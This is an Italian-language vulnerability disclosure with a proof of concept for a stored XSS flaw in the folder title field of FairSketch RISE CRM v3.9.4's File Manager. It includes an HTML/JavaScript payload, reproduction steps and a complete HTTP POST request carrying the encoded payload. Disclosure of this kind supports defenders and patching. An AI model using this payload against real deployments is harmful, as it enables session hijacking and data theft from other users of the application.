
Proof-of-concept per una vulnerabilità XSS memorizzata in FairSketch RISE Ultimate Project Manager & CRM v3.9.4, che dimostra l'esecuzione arbitraria di JavaScript tramite iniezione nel titolo della cartella.
Una vulnerabilità di Stored Cross Site Scripting (XSS) è stata scoperta in FairSketch RISE Ultimate Project Manager & CRM (v3.9.4) nella funzionalità File Manager. La vulnerabilità risiede nel parametro title inviato durante la creazione di nuove cartelle. A causa di una sanificazione insufficiente dell'input, un attaccante può iniettare payload HTML/JavaScript (ad es., <details/open/ontoggle=prompt(origin)>). Il payload viene memorizzato nel nome della cartella e viene eseguito quando si elencano le cartelle nel File Manager, consentendo l'esecuzione arbitraria di JavaScript nel browser di qualsiasi utente che visualizzi la cartella interessata. Ciò può portare al dirottamento della sessione e all'esfiltrazione dei dati.
[!NOTE]
Questa vulnerabilità non è esclusiva degli account amministratore. Può essere sfruttata utilizzando qualsiasi account utente che abbia il permesso di creare nuove cartelle nel File Manager.
Accedi con credenziali valide.
Vai a File

Clicca su Nuova cartella

Inserisci il payload seguente nel campo Titolo, inserisci:
<details/open/ontoggle=prompt(origin)>


POST /index.php/clients/save_folder HTTP/1.1
Host: rise.fairsketch.com
Cookie: [redacted]
Content-Length: 99
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: [redacted]
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://rise.fairsketch.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
id=&parent_id=&context=client&context_id=101&title=%3Cdetails%2Fopen%2Fontoggle%3Dprompt(origin)%3E